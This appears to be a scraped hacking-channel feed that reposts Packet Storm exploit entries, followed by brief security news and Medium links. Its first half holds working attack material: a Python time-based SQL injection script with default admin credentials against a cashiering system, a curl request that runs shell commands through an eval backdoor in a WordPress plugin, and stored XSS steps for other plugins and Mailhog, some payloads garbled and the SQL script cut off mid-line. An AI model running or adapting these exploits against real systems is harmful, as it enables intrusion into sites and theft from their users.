Exploit Collector
Coffee Shop Cashiering System 1.0 SQL Injection

https://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png
Coffee Shop Cashiering System version 1.0 suffers from a remote time-based SQL injection vulnerability.

SHA-256 | f964a4311244797b00b346857d8249aa0ed9e3ed4fbb20b2da7ac878fcd027a6

Download
# Exploit Title: Coffee Shop Cashiering System - Authenticated Time Based Sql injection
# Date: 27-06-2022
# Exploit Author: syad
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cscs.zip
# Version: 1.0
# Tested on: Windows 10 + XAMPP 3.2.4
# CVE ID : N/A

# Description
# The id parameter does not perform input validation on the view_detail.php file it allow authenticated Time Based SQL Injection.
import requests
import sys
s = requests.session()

proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}
def login_sql():
target = "http://%s/cscs/classes/Login.php?f=login" % sys.argv[1]
d = {
"username" : "admin",
"password" : "admin123"
}
r = s.post(target, data=d, allow_redirects=True, proxies=proxies)
res = r.text
if "success" in res:
return True
else:
return False
def detect_sql():
r = s.get("http://%s/cscs/admin/?page=sales/view_details&id=2'" % sys.argv[1])
res = r.text
if "You have an error in your SQL syntax;" in res:
print("[+] SQL Error Found !!")
else:
return False

def time_based_sql():
target = "http://%s/cscs/admin/?page=sales/view_details&id=2'+or+sleep(5)--+-" % sys.argv[1]
r = s.get(target, proxies=proxies)
print("[+] Time Based SQL Injection Executed !!!")
def main():
if len(sys.argv) !=2:
print("(+) usage: %s
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Weblizar 8.9 Code Execution

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
WordPress Weblizar plugin version 8.9 suffers from a remote code execution vulnerability.

SHA-256 | 9b7cc4a093eb84aa51b7844130d86d8859b2c2b7771568a1c31d4b1df1daad25

Download
# Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor
# Google Dork: 'wp-json/am-member/license'
# Exploit Author: Sobhan Mahmoodi
# Vendor Homepage: https://weblizar.com/plugins/school-management/
# Version: 8.9
# Tested on: windows/linux

Vulnerable code:

add_action( 'rest_api_init', function() {
register_rest_route(
'am-member', 'license',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => function( $request ) {
$args = $request->get_params();
if ( isset( $args['blowfish'] ) && ! empty(
$args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] )
) {
eval( $args['blowf'] );
}
};
)
);
} );
If you look at the code, the user code checks the parameters and finally executes the Blowf argument with the eval function. The Eval function is to take a string of PHP commands and execute it.

In order to be able to exploit this vulnerability, it is enough to send a request such as the following request that according to the above code, the part with If should be set blowfish and blowf arguments and not empty, and
given that eval executes the blowf value , Our favorite command must also be in this argument.

Proof of Concept:

curl -s -d 'blowfish=1' -d "blowf=system('id');" '
http://localhost:8888/wp-json/am-member/license'

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress W-DALIL 2.0 Cross Site Scripting

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
WordPress W-DALIL plugin version 2.0 suffers from a persistent cross site scripting vulnerability.

SHA-256 | 3d149a791c07c7cfc468c60b80fc0a429d771a83d5713a156f35ef0f03df6cc5

Download
# Exploit Title: WordPress Plugin W-DALIL - Stored Cross Site Scripting
# Date: 27-06-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage: https://wordpress.org/plugins/w-dalil/
# Version: 2.0
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com

#Vulnerable Code:

```

placeholder="

```

#Steps To Reproduce :

1 - First Install the plugin "*w-dalil*" and activate it.
2 - Go to Dalil —> Add New Dalil item
3 - Inside the “*Dalil item address*” enter XSS payload “*>
onerror=alert(1)>*" and hit enter.

#Poc Image :

https://imgur.com/JPG97oh

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Mailhog 1.0.1 Cross Site Scripting

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Mailhog version 1.0.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | c6d4443c876d720bb306b68d688651b623465386c426966caee9a17a0fcf1d8a

Download
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
# Date: 06.18.2022
# Exploit Author: Vulnz
# Vendor Homepage: https://github.com/mailhog/MailHog
# Software Link: https://github.com/mailhog/MailHog
# Version: 1.0.1
# Tested on: Windows,Linux,Docker
# CVE : N/A

Explanation:
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call.

Steps to reproduce:
1. Create malicious attachment with payloads stated below
2. Attach malicious file to email with payload (XSS)
3. Send email
4. Wait for victim to open email
5. Receive data, get control of victim browser using Beef framework, or manipulate with API data
Proof of Concept:

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Simple Page Transition 1.4.1 Cross Site Scripting

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
WordPress Simple Page Transition plugin version 1.4.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | 6add737b61d202a5e1a60dba7f03322ef6b69ca1cb41cb65fe52abe7e5145de6

Download
# Exploit Title: WordPress Plugin ‘Simple Page Transition’ - Stored Cross
Site Scripting
# Date: 27-06-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage: https://wordpress.org/plugins/simple-page-transition/
# Version: 1.4.1
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com
*#Vulnerable code*:

```

name="simple_page_transition_ignored" value="**" />
```
*#POC:*

1- Install the plugin ‘simple page transition’ & activate it.
2- Navigate towards the “ignored download links”
3- Enter the XSS payload ` *“>x *`

*#POC image:*

https://imgur.com/yzaTkhi

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

The Modern-Day Android Application Pentesting Approach for BugBounties/Assessments
https://kunalkhubchandani.medium.com/modern-day-android-application-pentesting-approach-for-bugbounties-assessments-kunal-b09154b522d?source=rss------bug_bounty-5

Understand the Attacker’s Approach and Mindset behind Pentesting Modern-Day Android Applications :DContinue reading on Medium » (https://kunalkhubchandani.medium.com/modern-day-android-application-pentesting-approach-for-bugbounties-assessments-kunal-b09154b522d?source=rss------bug_bounty-5)

The Modern-Day Android Application Pentesting Approach for BugBounties/Assessments

Understand the Attacker’s Approach and Mindset behind Pentesting Modern-Day Android Applications :DContinue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Shadow IT Spurs 1 in 3 Cyberattacks

Cerby platform emerges from stealth mode to let users automate security for applications outside of the standard IT purview.

Dark Reading: Attacks/Breaches
Federal, State Agencies' Aid Programs Face Synthetic Identity Fraud

Balancing public service with fraud prevention requires rule revisions and public trust.

Dark Reading: Attacks/Breaches
LockBit 3.0 Debuts with Ransomware Bug Bounty Program

LockBit 3.0 promises to 'Make Ransomware Great Again!' with a side of cybercrime crowdsourcing.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Exploiters of Harmony’s Horizon Bridge Had Been Sandwiched On Their $100M Hacking

https://cdn-images-1.medium.com/max/1080/0*cTKlBXx5eKH67lVm
Some sandwich arbitrages were implemented on 2 addresses marked as Horizon Bridge Exploiter on Etherscan.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Microsoft Hall Of Fame for a Small Misconfiguration.
https://medium.com/@withamankr/microsoft-hall-of-fame-for-a-small-misconfiguration-a0bb2eda9441?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey everyone! I’m Aman, in this write-up I am going to show how you can find rate limit bug and my journey to the Microsoft Hall of FameContinue reading on Medium » (https://medium.com/@withamankr/microsoft-hall-of-fame-for-a-small-misconfiguration-a0bb2eda9441?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video